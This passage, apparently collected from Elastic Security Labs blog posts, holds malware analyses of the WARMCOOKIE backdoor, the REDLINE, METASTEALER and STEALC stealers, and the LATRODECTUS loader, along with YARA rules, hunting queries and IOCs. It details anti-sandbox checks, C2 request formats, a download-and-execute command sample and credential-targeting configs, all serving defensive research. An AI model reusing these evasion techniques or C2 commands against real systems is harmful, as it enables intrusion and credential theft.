| Encoded Value | Decoded Value | |------------------------------------------------------------------|---------------------------------------------------------| | MTkyLjE2OC4xODIuMTMx | 192.168.182.131 | | QU1EIFJ5emVuIDcgNzgwMFgzRCA4LUNvcmUgUHJvY2Vzc29yICAgICAgICAgICA= | AMD Ryzen 7 7800X3D 8-Core Processor |

Screenshot capture - command ID (2)

The ability to capture screenshots from victim machines provides a wide range of malicious options, such as stealing sensitive information displayed on the screen or actively monitoring the victim’s machine. This handler dynamically loads Windows DLLs used for graphics and drawing operations, such as GDI32.DLL and GDIPLUS.DLL, and then uses various APIs, such as BitBlt,CreateCompatibleBitmap, and GetSystemMetrics to generate the screenshot.

The collected screenshot is encrypted with RC4 and sent through a POST request along with the checksum data.

By looking for the file header JPEG File Interchange Format (JFIF), we can carve out the image, and find a high-quality image of our sandbox machine (below) based on our request to this handler.

Retrieve installed programs - command ID (3)

This handler enumerates the installed programs on the victim machine via the registry key:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall

The program's name, version, and installation date are Base64 encoded and placed into a pipe-delimited format along with the checksum data, offsets, and sizing.

Below is an example of one of the registry entries:

| Encoded Value | Decoded Value | |--------------------------|-------------------| | Ny1aaXAgMTguMDEgKHg2NCk= | 7-Zip 18.01 (x64) |

Command-line execution - command ID (4)

WARMCOOKIE uses this handler to provide backdoor access to the victim machine. The operator provides an argument that gets executed to cmd.exe /cwithout a console window.

In the example below, whoami is provided as the argument:

This function reads the output from the provided command and stores it in Base64, where it’s sent back to the C2 server. Below is an example of the decrypted data for this handler:

| Encoded Value | Decoded Value | |------------------------------|---------------------| | ZGVza3RvcC0yYzNpcWhvXHJlbQ0K | desktop-2c3iqho\rem |

Write file - command ID (5)

WARMCOOKIE can drop files on the victim machine; the threat actors provide the file path and file data.

As a test, we can write a file within a directory with some data and then read it in the next handler.

Depending on the file write result, WARMCOOKIE will send out a POST request with one of the following Base64 encoded values:

OK
ERROR: Cannot write file

Read file - command ID (6)

This handler can read file content from machines infected with WARMCOOKIE. The threat actor needs to provide the file path as the argument.

Depending on the file read result, WARMCOOKIE will send out a POST request with one of the following Base64 encoded values along with the file contents:

OK (See 'Files' tab)
ERROR: Cannot read file

Based on the previous wording around a Files tab, the WARMCOOKIE operators may use a GUI element.

Remove persistence - command ID (10)

This handler removes the previously configured scheduled task with the name RtlUpd. By leveraging COM, it will call DeleteFileW within mstask.dll to remove the task.

IDA string decryption tool

Elastic Security Labs is releasing an IDAPython script used to decrypt strings from WARMCOOKIE. The decrypted strings will be placed in the IDA Pro decompiler helping analysts identify key functionality. The string decryption and IDA commenting tool can be downloaded here.

Conclusion

WARMCOOKIE is a newly discovered backdoor that is gaining popularity and is being used in campaigns targeting users across the globe. Our team believes this malware represents a formidable threat that provides the capability to access target environments and push additional types of malware down to victims. While there is room for improvement on the malware development side, we believe these minor issues will be addressed over time. Elastic Security Labs will continue to monitor this threat and recommends that the industry do the same.

WARMCOOKIE and MITRE ATT&CK

Elastic uses the MITRE ATT&CK framework to document common tactics, techniques, and procedures that advanced persistent threats use against enterprise networks.

Tactics

Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.

Techniques

Techniques represent how an adversary achieves a tactical goal by performing an action.

Preventing and detecting WARMCOOKIE

Prevention

Detection w/YARA

Elastic Security has created YARA rules to identify this activity. Below are YARA rules to identify WARMCOOKIE:

rule Windows_Trojan_WarmCookie_7d32fa90 {
    meta:
        author = "Elastic Security"
        creation_date = "2024-04-29"
        last_modified = "2024-05-08"
        os = "Windows"
        arch = "x86"
        threat_name = "Windows.Trojan.WarmCookie"
        license = "Elastic License v2"

     strings:
        $seq_checksum = { 45 8D 5D ?? 45 33 C0 41 83 E3 ?? 49 8D 4E ?? 44 03 DB 41 8D 53 ?? }
        $seq_string_decrypt = { 8B 69 04 48 8D 79 08 8B 31 89 6C 24 ?? 48 8D 4E ?? E8 }
        $seq_filesearch = { 48 81 EC 58 02 00 00 48 8B 05 82 0A 02 00 48 33 C4 48 89 84 24 40 02 00 00 45 33 C9 48 8D 44 24 30 45 33 C0 48 89 44 24 20 33 C9 41 8D 51 1A FF 15 83 4D 01 00 85 C0 78 22 48 8D 4C 24 30 E8 1D }
        $seq_registry = { 48 81 EC 80 02 00 00 48 8B 05 F7 09 02 00 48 33 C4 48 89 84 24 70 02 00 00 4C 89 B4 24 98 02 00 00 48 8D 0D 4D CA 01 00 45 33 F6 41 8B FE E8 02 4F 00 00 48 8B E8 41 B9 08 01 00 00 48 8D 44 24 }
        $plain_str1 = "release.dll" ascii fullword
        $plain_str2 = "\"Main Invoked.\"" ascii fullword
        $plain_str3 = "\"Main Returned.\"" ascii fullword
        $decrypt_str1 = "ERROR: Cannot write file" wide fullword
        $decrypt_str2 = "OK (No output data)" wide fullword
        $decrypt_str3 = "OK (See 'Files' tab)" wide fullword
        $decrypt_str4 = "cmd.exe /c %ls" wide fullword
        $decrypt_str5 = "Cookie:" wide fullword
        $decrypt_str6 = "%ls\\*.*" wide fullword
    condition:
        (3 of ($plain*)) or (2 of ($seq*)) or 4 of ($decrypt*)
}

Observations

All observables are also available for download in both ECS and STIX format.

The following observables were discussed in this research.

| Observable | Type | Name | Reference | |------------------------------------------------------------------|-----------|------------|----------------------| | ccde1ded028948f5cd3277d2d4af6b22fa33f53abde84ea2aa01f1872fad1d13 | SHA-256 | RtlUpd.dll | WARMCOOKIE | | omeindia[.]com | domain | | Phishing link | | assets.work-for[.]top | domain | | Landing page | | 45.9.74[.]135 | ipv4-addr | | Landing page | | 80.66.88[.]146 | ipv4-addr | | WARMCOOKIE C2 server | | 185.49.69[.]41 | ipv4-addr | | WARMCOOKIE C2 server |

References

The following were referenced throughout the above research:

Appendix

Checksum example

def calculate_checksum(str_input, str_len, i):
    if i == 0:
        i = 0xFFFFFFFF
    if i == -1:
        i = 0

    for idx in range(0, str_len, 2):
        v6 = str_input[idx] | (str_input[idx + 1] << 8)
        for  in range(16):
            if (v6 ^ i) & 1:
                i = ((i >> 1) ^ 0xEDB88320) & 0xFFFFFFFF
            else:
                i = (i >> 1) & 0xFFFFFFFF
            v6 >>= 1

    return ~i & 0xFFFFFFFF


serial_volume = 0x0A2C9AD2F

mutex = "f92e6f3c-9cc3-4be0-966c-1be421e69140".encode("utf-16le")
mutex_result = calculate_checksum(mutex, len(mutex), -1)

username = "REM\x00".encode("utf-16le")
username_result = calculate_checksum(username, len(username), -1)

computer_name = "DESKTOP-2C3IQHO".encode("utf-16le")
computer_name_result = calculate_checksum(computer_name, len(computer_name), -1)

print(f"Mutex: {hex(mutex_result)}")
print(f"Username: {hex(username_result)}")
print(f"Computer Name: {hex(computer_name_result)}")
print(f"#1 Checksum: {hex(serial_volume ^ mutex_result)}")
print(f"#2 Checksum: {hex(username_result ^ computer_name_result)}")

Globally distributed stealers

Salim Bitam,Daniel Stepanic,Terrance DeJesus,Samir Bousseaden — Fri, 24 May 2024 00:00:00 GMT

Introduction

This article describes our analysis of the top Windows malware stealer families that we’ve identified, unveiling their operation methodologies, recent updates, and configurations. By understanding the modus operandi of each family, we better comprehend the magnitude of their impact and can fortify our defences accordingly. Additionally, we’ll examine our unique telemetry to offer insights about the current volume associated with these prevalent malware stealer families.

Mitigating this kind of covert threat requires a multi-faceted approach consistent with defense-in-depth principles. We will likewise describe various techniques for detection, including the use of ES|QL hunting queries and Yara rules which empower organizations to proactively defend against them.

Telemetry overview

The telemetry data showcased in this article encompasses insights gathered from both internal and external sources, providing a comprehensive understanding of threat activity.

Notably, between 2022 and 2023, REDLINE emerged as the most prevalent malware in the wild, closely trailed by AGENT TESLA, VIDAR, and then STEALC. It's worth highlighting that this period marked the debut of STEALC in the wild, indicative of evolving threat landscapes.

In the subsequent time frame, spanning from 2023 to 2024, there was a notable spike in AGENT TESLA activity, followed by REDLINE, STEALC, and VIDAR, reflecting shifting trends in malware prevalence and distribution.

Elastic telemetry data May 2023 - May 2024

Despite fluctuations in general malware prevalence, AGENT TESLA has consistently maintained its position as a prominent threat. This enduring dominance can be attributed to several factors, including its relatively low price point and enticing capabilities, which appeal to a wide range of threat actors, particularly those operating with limited resources or expertise.

A noteworthy observation is that due to METASTEALER’s foundation on REDLINE, certain METASTEALER samples may inadvertently fall under the categorization of REDLINE.

Top stealers overview

REDLINE (REDLINE STEALER)

REDLINE made its debut in the threat landscape in 2020, leveraging email as its initial distribution method; it operates on a Malware-as-a-Service (MaaS) model, making it accessible to a wide range of threat actors. Its affordability and availability in underground forums have contributed to its popularity among cybercriminals.

The latest operations of REDLINE involve multiple infection vectors, including email phishing, malicious websites hosting seemingly legitimate applications, and social engineering tactics. Our researchers analyzed a recent sample reported by vx-underground indicating a campaign targeting engineers on the freelancing platform Fiverr. This tactic poses significant risks, potentially leading to the compromise of companies through unsuspecting freelancers.

REDLINE is built on the .NET framework, which provides it with portability and ease of implementation. It has a variety of functionalities aimed at gathering vital system information and extracting sensitive data:

System information acquisition:
Collects essential system details such as UserName, Language, and Time Zone
Retrieves hardware specifics including processor and graphic card information
Monitors running processes and identifies installed browsers
Data extraction:
Targets browser data repositories, extracting saved passwords, credit card details, cookies, and auto-fill entries
Procures VPN login credentials for unauthorized access
Logs user credentials and chat histories from platforms like Discord and Telegram
Identifies and steals cryptocurrency wallets, potentially compromising valuable digital assets:

REDLINE uses a string obfuscation technique to hinder analysis and evade detection based on strings like yara by dynamically constructing the strings at runtime from an array of characters:

Its configuration is structured within a static class, containing four public fields: IP, ID, Message, and an XOR Key. The IP and ID fields contents are encrypted using XOR encryption and then encoded in base64 as depicted below:

METASTEALER

METASTEALER emerged in 2022, initially advertised as a derivative of REDLINE, with additional features; our malware analysts recently encountered a sample of METASTEALER within a campaign masquerading as Roblox, previously reported by CERT as Orange Polska.

METASTEALER is primarily developed using the .NET framework, facilitating its compatibility with Windows environments and enabling ease of implementation. Certain versions employ obfuscation methods, including obscuring the control flow of the malware and making it more challenging to detect or analyze.

This METASTEALER sample utilizes the AGILE.NET obfuscator, specifically its proxy call obfuscation method. This technique is used to conceal the direct invocation of an original function by introducing an additional layer of abstraction. Instead of directly invoking the function, AGILE.NET generates a proxy method that then invokes the original function. This added complexity makes it more challenging for code analysts to discern the sequence of actions.

Looking at the code above, we can see the method Delegate11.smethod_0 calls a Delegate11.delegate11_0 which is not initialized, introducing ambiguity during static analysis as analysts cannot determine which method will actually be executed.

At runtime, the malware will initialize the delegate. by calling the method Class4.smethod_13 in the constructor of Delegate11 class, this method constructs a dictionary of token values, where each key represents the token value of a delegate (e.g., 0x040002DE), and its corresponding value represents the token of the original method to be executed. This dictionary is constructed from a sequence of bytes stored in the binary, enabling dynamic resolution of method invocations during runtime.

Following this, it will generate a dynamic method for the delegate and execute it using the smethod_0 function.

All the important strings in the configuration, like the C2 IP address and port, are encrypted. The malware has a class called Strings that is called at the start of execution to decrypt all the strings at once, a process involving a combination of Base64 encoding, XOR decryption, and AES CBC decryption.

Initially, the AES parameters, such as the AES KEY and AES IV, undergo decryption. In the provided example, the AES KEY and AES IV are first base64 decoded. Subsequently, they are subjected to XOR decryption using a predetermined XOR key, followed by two consecutive base64 decoding steps.

The Strings class holds byte arrays that are decrypted using AES CBC after being reversed, and then appended to the Strings.Array list. Later, when the malware requires specific strings, it accesses them by indexing this list. For example String.get(6).

STEALC

A recent major player in the stealer space discovered by Sekoia in February 2023 is the STEALC family. This malware was first advertised in an underground forum in January 2023 where the developer mentioned a major dependency on existing families such as VIDAR, RACOON, and REDLINE. Since this timeframe, our team has observed new STEALC samples daily showing signs of popularity and adoption by cybercriminals.

STEALC is implemented in C and includes features like dynamic imports, string obfuscation, and various anti-analysis checks prior to activating its data-stealing capabilities. In order to protect the binary and its core features, STEALC encrypts its strings using a combination of Base64 + RC4 using a hardcoded key embedded in each sample.

There are 6 separate functions used for anti-analysis/anti-sandbox checks within STEALC. Based on the number of processors, STEALC will terminate itself if the active processor count is less than 2.

STEALC performs a sandbox/emulation test using a more obscure Windows API (VirtualAllocExNuma) to allocate a large amount of memory. If the API is not implemented, the process will terminate.

The malware performs another sandbox check by reading values from GlobalMemoryStatusEx. After a byte shift against the collected attributes of the physical memory, if the value is less than 0x457 the sample will terminate.

The malware will stop execution if the language identifier matches one of the following LangIDs:

Russian_Russia (0x419)
Ukrainian_Ukraine (0x422)
Belarusian_Belarus (0x423)
Kazakh_Kazakhstan (0x43f)
Uzbek_Latin__Uzbekistan (0x443)

STEALC also incorporates the Microsoft Defender emulation check, we have observed this in many stealers such as seen in LOBSHOT. STEALC will terminate if the following hard-coded values match inside Microsoft Defender’s emulation layer with the username JohnDoe and computer name of HAL9TH.

One of the more impactful anti-analysis checks that comes with STEALC is an expiration date. This unique value gets placed into the malware’s config to ensure that the stealer won’t execute after a specific date set by the builder. This allows the malware to keep a lower profile by using shorter turnarounds in campaigns and limiting the execution in sandbox environments.

STEALC - Execution flow

After its initial execution, STEALC will send the initial hardware ID of the machine and receive a configuration from the C2 server:

f960cc969e79d7b100652712b439978f789705156b5a554db3acca13cb298050efa268fb|done|tested.file|1|1|1|1|1|1|1|1|

After this request, it will send multiple requests to receive an updated list of targeted browsers and targeted browser extensions. Below is an example of the browser configuration, this contains the targeted directory path where the sensitive data is stored.

Google Chrome|\Google\Chrome\User Data|chrome|chrome.exe|Google Chrome Canary|\Google\Chrome SxS\User Data|chrome|chrome.exe|Chromium|\Chromium\User Data|chrome|chrome.exe|Amigo|\Amigo\User Data|chrome|0|Torch|\Torch\User Data|chrome|0|Vivaldi|\Vivaldi\User Data|chrome|vivaldi.exe|Comodo Dragon|\Comodo\Dragon\User Data|chrome|0|EpicPrivacyBrowser|\Epic Privacy Browser\User Data|chrome|0|CocCoc|\CocCoc\Browser\User Data|chrome|0|Brave|\BraveSoftware\Brave-Browser\User Data|chrome|brave.exe|Cent Browser|\CentBrowser\User Data|chrome|0|7Star|\7Star\7Star\User Data|chrome|0|Chedot Browser|\Chedot\User Data|chrome|0|Microsoft Edge|\Microsoft\Edge\User Data|chrome|msedge.exe|360 Browser|\360Browser\Browser\User Data|chrome|0|QQBrowser|\Tencent\QQBrowser\User Data|chrome|0|CryptoTab|\CryptoTab Browser\User Data|chrome|browser.exe|Opera Stable|\Opera Software|opera|opera.exe|Opera GX Stable|\Opera Software|opera|opera.exe|Mozilla Firefox|\Mozilla\Firefox\Profiles|firefox|0|Pale Moon|\Moonchild Productions\Pale Moon\Profiles|firefox|0|Opera Crypto Stable|\Opera Software|opera|opera.exe|Thunderbird|\Thunderbird\Profiles|firefox|0|

At this point, STEALC will then collect a broad range of victim information. This information is then formatted, Base64 encoded, and then sent to the C2 server over POST requests using form data fields.

Hardware ID
Windows OS product info
Processor / RAM information
Username / computername
Local system time / time zone / locale of victim
Keyboard layout
Battery check (used to determine if laptop or not)
Desktop resolution, display info
Installed programs, running processes

For the stealing component, STEALC leverages the received configurations in order to collect various valuable information including:

Browser cookies
Login data
Web data
History
Cryptocurrency wallets

STEALC also offers other various configuration options including:

Telegram data
Discord
Tox
Pidgin
Steam
Outlook emails

| | RedLine Stealer | Meta Stealer | Stealc | | --- | --- | --- | --- | | First time seen in the wild | 2020 | 2022 | 2023 | | Source Language | C# | C# | C | | Average size (unpacked) | 253 KB | 278 KB | 107 KB | | String obfuscation? Algo? | Yes | Yes | Yes (custom RC4 + base64) |

Detection

To fully leverage detection capabilities listed below for these threats with Elastic Security, it is essential to integrate Elastic Defend and Windows.

ES|QL queries

The following list of hunts and detection queries can be used to detect stealers activities:

Identifies untrusted or unsigned executables making DNS requests to Telegram or Discord domains, which may indicate command-and-control communication attempts.

  from logs-endpoint*
  | where (process.code_signature.trusted == false or process.code_signature.exists == false)
  | where dns.question.name in ("api.telegram.com", "cdn.discordapp.com",
                                  "discordapp.com", "discord.com","discord.gg","cdn.discordapp.com")
  | stats executable_count = count(*) by process.executable, process.name, dns.question.name
  | sort executable_count desc

Detects suspicious activies targeting crypto wallets files and configurations stored on Windows systems.

  from logs-endpoint.events.file-*
  | where @timestamp > now() - 14 days
  | where host.os.type == "windows"
  and event.category == "file"
  and event.action == "open" 
  and (
    file.path rlike """C:\\Users\\.+\\AppData\\Roaming\\.+\\(Bitcoin|Ethereum|Electrum|Zcash|Monero|Wallet|Litecoin|Dogecoin|Coinbase|Exodus|Jaxx|MyEtherWallet|MetaMask)\\.*"""
    or file.path rlike """C:\\ProgramData\\.+\\(Bitcoin|Ethereum|Electrum|Zcash|Monero|Wallet|Litecoin|Dogecoin|Coinbase|Exodus|Jaxx|MyEtherWallet|MetaMask)\\.*"""
  )
  | keep process.executable, process.name, host.id, file.path, file.name
  | stats number_hosts = count_distinct(host.id), unique_files = count_distinct(file.name) by process.executable
  | where number_hosts == 1 and unique_files >= 3
  | sort number_hosts desc

Monitors access to sensitive browser data, such as cookies, login data, and browsing history, which may indicate information-stealing malware activities.

  from logs-endpoint.events.file-*, logs-windows.sysmon_operational-default-*
  | where @timestamp > now() - 14 days
  | where host.os.type == "windows"
  and event.category == "file"
  and event.action in ("open", "modification")
  and (
    file.path rlike "C:\\\\Users\\\\.+\\\\AppData\\\\Local\\\\(Google\\\\Chrome\\\\User Data\\\\.*|Google\\\\Chrome SxS\\\\User Data\\\\.*|Chromium\\\\User Data\\\\.*|Amigo\\\\User Data\\\\.*|Torch\\\\User Data\\\\.*|Vivaldi\\\\User Data\\\\.*|Comodo\\\\Dragon\\\\User Data\\\\.*|Epic Privacy Browser\\\\User Data\\\\.*|CocCoc\\\\Browser\\\\User Data\\\\.*|BraveSoftware\\\\Brave-Browser\\\\User Data\\\\.*|CentBrowser\\\\User Data\\\\.*|7Star\\\\7Star\\\\User Data\\\\.*|Chedot\\\\User Data\\\\.*|Microsoft\\\\Edge\\\\User Data\\\\.*|360Browser\\\\Browser\\\\User Data\\\\.*|Tencent\\\\QQBrowser\\\\User Data\\\\.*|CryptoTab Browser\\\\User Data\\\\.*|Opera Software\\\\Opera Stable\\\\.*|Opera Software\\\\Opera GX Stable\\\\.*)\\\\(Default|Profile \\\\d+)\\\\(Cookies|Login Data|Web Data|History|Bookmarks|Preferences|Visited Links|Network Action Predictor|Top Sites|Favicons|Shortcuts)"
    or file.path rlike "C:\\\\Users\\\\.+\\\\AppData\\\\Roaming\\\\Mozilla\\\\Firefox\\\\Profiles\\\\.*\\\\(cookies.sqlite|logins.json|places.sqlite|key4.db|cert9.db)"
    or file.path rlike "C:\\\\Users\\\\.+\\\\AppData\\\\Roaming\\\\Moonchild Productions\\\\Pale Moon\\\\Profiles\\\\.*\\\\(cookies.sqlite|logins.json|places.sqlite|key3.db|cert8.db)"
    or file.path rlike "C:\\\\Users\\\\.+\\\\AppData\\\\Roaming\\\\Thunderbird\\\\Profiles\\\\.*\\\\(cookies.sqlite|logins.json|key4.db|cert9.db)"
  )
  | keep process.executable, process.name, event.action, host.id, host.name, file.path, file.name
  | eval process_path = replace(process.executable, "([0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12}|ns[a-z][A-Z0-9]{3,4}\\.tmp|DX[A-Z0-9]{3,4}\\.tmp|7z[A-Z0-9]{3,5}\\.tmp|[0-9\\.\\-_]{3,})", "")
  | eval process_path = replace(process_path, "[cC]:\\\\[uU][sS][eE][rR][sS]\\\\[a-zA-Z0-9\\.\\-_\\$~ ]+\\\\", "C:\\\\users\\\\user\\\\")
  | eval normalized_file_path = replace(file.path, "[cC]:\\\\[uU][sS][eE][rR][sS]\\\\[a-zA-Z0-9\\.\\-_\\$~ ]+\\\\", "C:\\\\users\\\\user\\\\")
  | stats number_hosts = count_distinct(host.id) by process.executable, process.name, event.action, normalized_file_path, file.name, host.name
  | where number_hosts == 1
  | sort number_hosts desc

Yara rules

Conclusion

In conclusion, it's crucial to recognize that these malware threats pose significant risks to both companies and individuals alike. Their affordability makes them accessible not only to sophisticated cybercriminals but also to small-time offenders and script kiddies. This accessibility underscores the democratisation of cybercrime, where even individuals with limited technical expertise can deploy malicious software.

Elastic's comprehensive suite of security features offers organisations and individuals the tools they need to defend against malware attacks effectively. From advanced threat detection to real-time monitoring and response capabilities.

Spring Cleaning with LATRODECTUS: A Potential Replacement for ICEDID

Daniel Stepanic,Samir Bousseaden — Thu, 16 May 2024 00:00:00 GMT

LATRODECTUS at a glance

First discovered by Walmart researchers in October of 2023, LATRODECTUS is a malware loader gaining popularity among cybercriminals. While this is considered a new family, there is a strong link between LATRODECTUS and ICEDID due to behavioral and developmental similarities, including a command handler that downloads and executes encrypted payloads like ICEDID. Proofpoint and Team Cymru built upon this connection to discover a strong link between the network infrastructure used by both the operators of ICEDID and LATRODECTUS.

LATRODECTUS offers a comprehensive range of standard capabilities that threat actors can utilize to deploy further payloads, conducting various activities after initial compromise. The code base isn’t obfuscated and contains only 11 command handlers focused on enumeration and execution. This type of loader represents a recent wave observed by our team such as PIKABOT, where the code is more lightweight and direct with a limited number of handlers.

This article will focus on LATRODECTUS itself, analyzing its most significant features and sharing resources for addressing this financially impactful threat.

Key takeaways

Initially discovered by Walmart researchers last year, LATRODECTUS continues to gain adoption among recent financially-motivated campaigns
LATRODECTUS, a possible replacement for ICEDID shares similarity to ICEDID including a command handler to execute ICEDID payloads
We observed new event handlers (process discovery, desktop file listing) since its inception and integration of a self-delete technique to delete running files
Elastic Security provides a high degree of capability through memory signatures, behavioral rules, and hunting opportunities to respond to threats like LATRODECTUS

LATRODECTUS campaign overview

Beginning early March of 2024, Elastic Security Labs observed an increase in email campaigns delivering LATRODECTUS. These campaigns typically involve a recognizable infection chain involving oversized JavaScript files that utilize WMI’s ability to invoke msiexec.exe and install a remotely-hosted MSI file, remotely hosted on a WEBDAV share.

With major changes in the loader space during the past year, such as the QBOT takedown and ICEDID dropping off, we are seeing new loaders such as PIKABOT and LATRODECTUS have emerged as possible replacements.

LATRODECTUS analysis

Our LATRODECTUS sample comes initially packed with file information masquerading as a component to Bitdefender’s kernel-mode driver (TRUFOS.SYS), shown in the following image.

In order to move forward with malware analysis, the sample must be unpacked manually or via an automatic unpacking service such as UnpacMe.

LATRODECTUS is a DLL with 4 different exports, and each export is assigned the same export address.

String obfuscation

All of the strings within LATRODECTUS are protected using a straightforward algorithm on the encrypted bytes and applying a transformation by performing arithmetic and bitwise operations. The initial report published in 2023 detailed a PRNG algorithm that was not observed in our sample, suggesting continuous development of this loader. Below is the algorithm implemented in Python using our nightMARE framework:

def decrypt_string(encrypted_bytes: bytes) -> bytes:
    x = cast.u32(encrypted_bytes[:4])
    y = cast.u16(encrypted_bytes[4:6])
    byte_size = cast.u16(cast.p32(x ^ y)[:2])
    decoded_bytes = bytearray(byte_size)

    for i, b in enumerate(encrypted_bytes[6 : 6 + byte_size]):
        decoded_bytes[i] = ((x + i + 1) ^ b) % 256

    return bytes(decoded_bytes)

Runtime API

LATRODECTUS obfuscates the majority of its imports until runtime. At the start of the program, it queries the PEB in combination with using a CRC32 checksum to resolve kernel32.dll and ntdll.dll modules and their functions. In order to resolve additional libraries such as user32.dll or wininet.dll, the malware takes a different approach performing a wildcard search (*.dll) in the Windows system directory. It retrieves each DLL filename and passes them directly to a CRC32 checksum function.

Anti-analysis

When all the imports are resolved, LATRODECTUS performs several serial anti-analysis checks. The first monitors for a debugger by looking for the BeingDebugged flag inside the Process Environment Block (PEB). If a debugger is identified, the program terminates.

BeingDebugged check via PEB" title="BeingDebugged check via PEB" />

In order to avoid sandboxes or virtual machines that may have a low number of active processes, two validation checks are used to combine the number of running processes with the OS product version.

In order to account for the major differences between Windows OS versions, the developer uses a custom enum based on the major/minor version, and build numbers within Windows.

The two previous conditions translate to:

LATRODECTUS will exit if the number of processes is less than 75 and the OS version is a recent build such as Windows 10, Windows Server 2016, or Windows 11
LATRODECTUS will exit if the number of processes is less than 50 and the OS version is an older build such as Windows Server 2003 R2, Windows XP, Windows 2000, Windows 7, Windows 8, or Windows Server 2012/R2

After the sandbox check, LATRODECTUS verifies if the current process is running under WOW64, a subsystem of Windows operating systems that allows for 32-bit applications to run on 64-bit systems. If true (running as a 32-bit application on a 64-bit OS), the malware will exit.

IsWow64Process check" title="IsWow64Process check" />

The last check is based on verifying the MAC address via the GetAdaptersInfo() call from iphlpapi.dll. If there is no valid MAC Address, the malware will also terminate.

Mutex

This malware uses the string runnung as the mutex to prevent re-infection on the host, which may be an accidental typo on the part of developers.

Hardware ID

After the mutex creation, LATRODECTUS will generate a hardware ID that is seeded from the volume serial number of the machine in combination with multiplying a hard-coded constant (0x19660D).

Campaign ID

At this stage, the decrypted campaign name (Littlehw) from our sample is used as a seed passed into a Fowler–Noll–Vo hashing function. This will produce a hash that is used by the actor to track different campaigns and associated victim machines.

Setup / persistence

The malware will generate a folder path using a configuration parameter, these determine the location where LATRODECTUS will be dropped on disk, such as the following directories:

AppData
Desktop
Startup
Personal
Local\AppData

Our sample was configured with the AppData location using a hard-coded directory string Custom_update along with a hardcoded filename Update_ concatenated with digits seeded from the volume serial number. Below is the full file path inside our VM:

C:\Users\REM\AppData\Roaming\Custom_update\Update_88d58563.dll

The malware will check for an existing file AppData\Roaming\Custom_update\update_data.dat to read from, and if the file does not exist it will create the directory before writing a copy of itself in the directory.

AppData" title="LATRODECTUS written in AppData" />

After the file is copied, LATRODECTUS retrieves two C2 domains from the global configuration, using the previously-described string decryption function.

Before the main thread is executed for command dispatching, LATRODECTUS sets up a scheduled task for persistence using the Windows Component Object Model (COM).

In our sample, the task name is hardcoded as Updater and scheduled to execute upon successful logon.

Self-deletion

Self-deletion is one noteworthy technique incorporated by LATRODECTUS. It was discovered by Jonas Lykkegaard and implemented by Lloyd Davies in the delete-self-poc repo. The technique allows LATRODECTUS to delete itself while the process is still running using an alternate data stream.

Elastic Security Labs has seen this technique adopted in malware such as the ROOK ransomware family. The likely objective is to hinder incident response processes by interfering with collection and analysis. The compiled malware contains a string (:wtfbbq) present in the repository.

This technique is observed at the start of the infection as well as when the malware performs an update using event handler #15. Elastic Security Labs has created a CAPA rule to help other organizations identify this behavior generically when analyzing various malware.

Communication

LATRODECTUS encrypts its requests using base64 and RC4 with a hardcoded password of 12345. The first POST request over HTTPS that includes victim information along with configuration details, registering the infected system.

POST https://aytobusesre.com/live/ HTTP/1.1
Accept: */*
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1)
Host: aytobusesre.com
Content-Length: 256
Cache-Control: no-cache

M1pNDFh7flKrBaDJqAPvJ98BTFDZdSDWDD8o3bMJbpmu0qdYv0FCZ0u6GtKSN0g//WHAS2npR/HDoLtIKBgkLwyrIh/3EJ+UR/0EKhYUzgm9K4DotfExUiX9FBy/HeV7C4PgPDigm55zCU7O9kSADMtviAodjuRBVW3DJ2Pf5+pGH9SG1VI8bdmZg+6GQFpcFTGjdWVcrORkxBjCGq3Eiv2svt3+ZFIN126PcvN95YJ0ie1Puljfs3wqsW455V7O

Below is an example of the decrypted contents sent in the first request:

counter=0&type=1&guid=249507485CA29F24F77B0F43D7BA&os=6&arch=1&username=user&group=510584660&ver=1.1&up=4&direction=aytobusesre.com&mac=00:0c:24:0e:29:85;&computername=DESKTOP-3C4ILHO&domain=-

| Name | Description | | ---- | ----------- | | counter | Number of C2 requests increments by one for each callback | | type | Type of request (registration, etc) | | guid | Generated hardware ID seeded by volume serial number | | os | Windows OS product version | | arch | Windows architecture version | | username | Username of infected machine | | group | Campaign identifier seeded by unique string in binary with FNV | | version | LATRODECTUS version | | up | Unknown | | direction | C2 domain | mac | MAC Address | | computername | Hostname of infected machine | | domain | Domain belonging to infected machine |

Each request is pipe-delimited by an object type, integer value, and corresponding argument. There are 4 object types which route the attacker controlled commands (CLEARURL, URLS, COMMAND, ERROR).

The main event handlers are passed through the COMMAND object type with the handler ID and their respective argument.

COMMAND|12|http://www.meow123.com/test

The CLEARURL object type is used to delete any configured domains. The URLS object type allows the attacker to swap to a new C2 URL. The last object type, ERROR, is not currently configured.

Bot Functionality

LATRODECTUS’s core functionality is driven through its command handlers. These handlers are used to collect information from the victim machine, provide execution capabilities as well as configure the implant. We have seen two additional handlers (retrieve processes, desktop listing) added since the initial publication which may be a sign that the codebase is still active and changing.

| Command ID | Description | | ---------- | ----------- | | 2 | Retrieve file listing from desktop directory | | 3 | Retrieve process ancestry | | 4 | Collect system information | | 12 | Download and execute PE | | 13 | Download and execute DLL | | 14 | Download and execute shellcode | | 15 | Perform update, restart | | 17 | Terminate own process and threads | | 18 | Download and execute ICEDID payload | | 19 | Increase Beacon Timeout | | 20 | Resets request counter |

Desktop listing - command ID (2)

This command handler will retrieve a list of the contents of the user’s desktop, which the developer refers to as desklinks. This data will be encrypted and appended to the outbound beacon request. This is used for enumerating and validating victim environments quickly.

Example request:

counter=0&type=1&guid=249507485CA29F24F77B0F43D7BA&os=6&arch=1&username=user&group=510584660&ver=1.1&up=4&direction=aytobusesre.com&desklinks=["OneDrive.lnk","OneNote.lnk","PowerPoint.lnk","Notepad++.lnk","Excel.lnk","Google Chrome.lnk","Snipping Tool.lnk","Notepad.lnk","Paint.lnk"]

Process ancestry - command ID (3)

This event handler is referenced as proclist by the developer where it collects the entire running process ancestry from the infected machine via the CreateToolhelp32Snapshot API.

Like security researchers, malware authors are interested in process parent/child relationships for decision-making. The authors of LATRODECTUS even collect information about process grandchildren, likely to validate different compromised environments.

Collect system information - command ID (4)

This command handler creates a new thread that runs the following system discovery/enumeration commands, each of which is a potential detection opportunity:

C:\Windows\System32\cmd.exe /c ipconfig /all
C:\Windows\System32\cmd.exe /c systeminfo
C:\Windows\System32\cmd.exe /c nltest /domain_trusts
C:\Windows\System32\cmd.exe /c nltest /domain_trusts /all_trusts
